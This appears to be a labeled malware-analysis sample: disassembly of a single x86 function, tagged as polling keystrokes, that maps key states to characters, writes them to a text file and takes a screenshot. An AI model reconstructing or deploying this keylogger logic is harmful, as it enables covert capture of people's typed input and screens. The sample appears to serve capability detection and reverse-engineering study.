Function at 0x4026c3
Capabilities:
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x284
lea eax, [ebp - 0x68]
mov ecx, eax
call fcn.0040e338
mov byte [ebp - 9], 0
cmp byte [ebp - 9], 0
jne 0x402bde
mov dword [ebp - 0x10], 0
cmp dword [ebp - 0x10], 0xff
jg 0x402709
lea edx, [ebp - 0x168]
mov eax, dword [ebp - 0x10]
add eax, edx
mov byte [eax], 0
add dword [ebp - 0x10], 1
jmp 0x4026ec
mov dword [esp], 0xd
call sym._GetAsyncKeyState_4
sub esp, 4
test ax, ax
setne al
test al, al
je 0x402733
mov dword [esp], 0xa
call sym._Sleep_4
sub esp, 4
jmp 0x402709
movzx eax, byte [ebp - 0x15b]
xor eax, 1
test al, al
je 0x402764
lea eax, [ebp - 0x68]
mov ecx, eax
call method.std::vector_char__std::allocator_char___.size___const
cmp eax, 0x3ff
ja 0x402764
movzx eax, byte [ebp - 9]
xor eax, 1
test al, al
je 0x402764
mov eax, 1
jmp 0x402769
mov eax, 0
test al, al
je 0x402b0d
mov dword [ebp - 0x14], 0
cmp dword [ebp - 0x14], 0xff
jg 0x402733
mov eax, dword [ebp - 0x14]
mov dword [esp], eax
call sym._GetAsyncKeyState_4
sub esp, 4
shr ax, 0xf
test al, al
je 0x4027aa
lea edx, [ebp - 0x168]
mov eax, dword [ebp - 0x14]
add eax, edx
mov byte [eax], 1
jmp case.0x4029d5.5
lea edx, [ebp - 0x168]
mov eax, dword [ebp - 0x14]
add eax, edx
movzx eax, byte [eax]
test al, al
je case.0x4029d5.5
lea edx, [ebp - 0x168]
mov eax, dword [ebp - 0x14]
add eax, edx
mov byte [eax], 0
cmp dword [ebp - 0x14], 8
jne 0x4027e9
lea eax, [ebp - 0x68]
mov ecx, eax
call method.std::vector_char__std::allocator_char___.size___const
test eax, eax
je 0x4027e9
mov eax, 1
jmp 0x4027ee
mov eax, 0
test al, al
je 0x402801
lea eax, [ebp - 0x68]
mov ecx, eax
call method.std::vector_char__std::allocator_char___.pop_back__
jmp case.0x4029d5.5
movzx eax, byte [ebp - 0x158]
test al, al
je 0x40298b
cmp dword [ebp - 0x14], 0x40
jle 0x402844
cmp dword [ebp - 0x14], 0x5a
jg 0x402844
mov eax, dword [ebp - 0x14]
sub eax, 0x41
mov dword [esp], eax
mov ecx, 0x41704c
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator___unsigned_int_
sub esp, 4
mov edx, eax
lea eax, [ebp - 0x68]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_const_
sub esp, 4
mov eax, dword [ebp - 0x14]
sub eax, 4
cmp eax, 0x35
ja case.0x40285a.5
mov eax, dword [eax*4 + 0x410294]
jmp eax
mov byte [ebp - 0x5a], 0x20
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x5a]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp 0x402986
mov byte [ebp - 0x59], 0x30
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x59]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp 0x402986
mov byte [ebp - 0x58], 0x31
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x58]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp 0x402986
mov byte [ebp - 0x57], 0x32
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x57]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp 0x402986
mov byte [ebp - 0x56], 0x33
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x56]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp 0x402986
mov byte [ebp - 0x55], 0x34
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x55]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp 0x402986
mov byte [ebp - 0x54], 0x35
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x54]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp 0x402986
mov byte [ebp - 0x53], 0x36
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x53]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp 0x402986
mov byte [ebp - 0x52], 0x37
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x52]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp 0x402986
mov byte [ebp - 0x51], 0x38
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x51]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp 0x402986
mov byte [ebp - 0x50], 0x39
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x50]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp 0x402986
mov byte [ebp - 9], 1
nop
jmp case.0x40285a.5
cmp dword [ebp - 0x14], 0x40
jle 0x4029bf
cmp dword [ebp - 0x14], 0x5a
jg 0x4029bf
mov eax, dword [ebp - 0x14]
sub eax, 0x41
mov dword [esp], eax
mov ecx, 0x417034
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::operator___unsigned_int_
sub esp, 4
mov edx, eax
lea eax, [ebp - 0x68]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_const_
sub esp, 4
mov eax, dword [ebp - 0x14]
sub eax, 4
cmp eax, 0x35
ja case.0x4029d5.5
mov eax, dword [eax*4 + 0x41036c]
jmp eax
mov byte [ebp - 0x4f], 0x20
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x4f]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp case.0x4029d5.5
mov byte [ebp - 0x4e], 0x61
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x4e]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp case.0x4029d5.5
mov byte [ebp - 0x4d], 0x26
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x4d]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp case.0x4029d5.5
mov byte [ebp - 0x4c], 0x65
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x4c]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp case.0x4029d5.5
mov byte [ebp - 0x4b], 0x22
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x4b]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp case.0x4029d5.5
mov byte [ebp - 0x4a], 0x27
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x4a]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp case.0x4029d5.5
mov byte [ebp - 0x49], 0x28
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x49]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp case.0x4029d5.5
mov byte [ebp - 0x48], 0x2d
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x48]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp case.0x4029d5.5
mov byte [ebp - 0x47], 0x65
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x47]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp case.0x4029d5.5
mov byte [ebp - 0x46], 0x5f
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x46]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp case.0x4029d5.5
mov byte [ebp - 0x45], 0x63
lea eax, [ebp - 0x68]
lea edx, [ebp - 0x45]
mov dword [esp], edx
mov ecx, eax
call method.std::vector_char__std::allocator_char___.push_back_char_
sub esp, 4
jmp case.0x4029d5.5
mov byte [ebp - 9], 1
nop
jmp case.0x4029d5.5
nop
add dword [ebp - 0x14], 1
jmp 0x402778
lea eax, [ebp - 0x180]
mov dword [esp], eax
call sym.trouverNomFichierTxt_abi:cxx11___
lea eax, [ebp - 0x278]
mov dword [esp + 4], 1
lea edx, [ebp - 0x180]
mov dword [esp], edx
mov ecx, eax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::_Ios_Openmode_
sub esp, 8
lea eax, [ebp - 0x44]
lea edx, [ebp - 0x68]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.stringedBuffer_abi:cxx11__std::vector_char__std::allocator_char____
lea eax, [ebp - 0x44]
mov dword [esp + 4], eax
lea eax, [ebp - 0x278]
mov dword [esp], eax
call sym.std::basic_ostream_char__std::char_traits_char____std::operator____char__std::char_traits_char___std::allocator_char____std::basic_ostream_char__std::char_traits_char_____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea eax, [ebp - 0x44]
mov ecx, eax
call fcn.00404ad4
lea eax, [ebp - 0x2c]
mov dword [esp + 8], 0xa
lea edx, [ebp - 0x180]
mov dword [esp + 4], edx
mov dword [esp], eax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__char_
mov dword [esp], 5
mov ecx, 0x417020
call method.std::atomic_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____.load_std::memory_order__const
sub esp, 4
mov edx, eax
lea eax, [ebp - 0x2c]
mov dword [esp], eax
mov ecx, edx
call fcn.00404ab4
sub esp, 4
lea eax, [ebp - 0x2c]
mov ecx, eax
call fcn.00404ad4
call sym.recordScreenShot__
lea eax, [ebp - 0x278]
mov ecx, eax
call sym.std::basic_ofstream_char__std::char_traits_char___::basic_ofstream__
lea eax, [ebp - 0x180]
mov ecx, eax
call fcn.00404ad4
jmp 0x4026db
lea eax, [ebp - 0x68]
mov ecx, eax
call method.std::vector_char__std::allocator_char___.vector__
jmp 0x402c3e
mov ebx, dword [ebp - 4]
leave
ret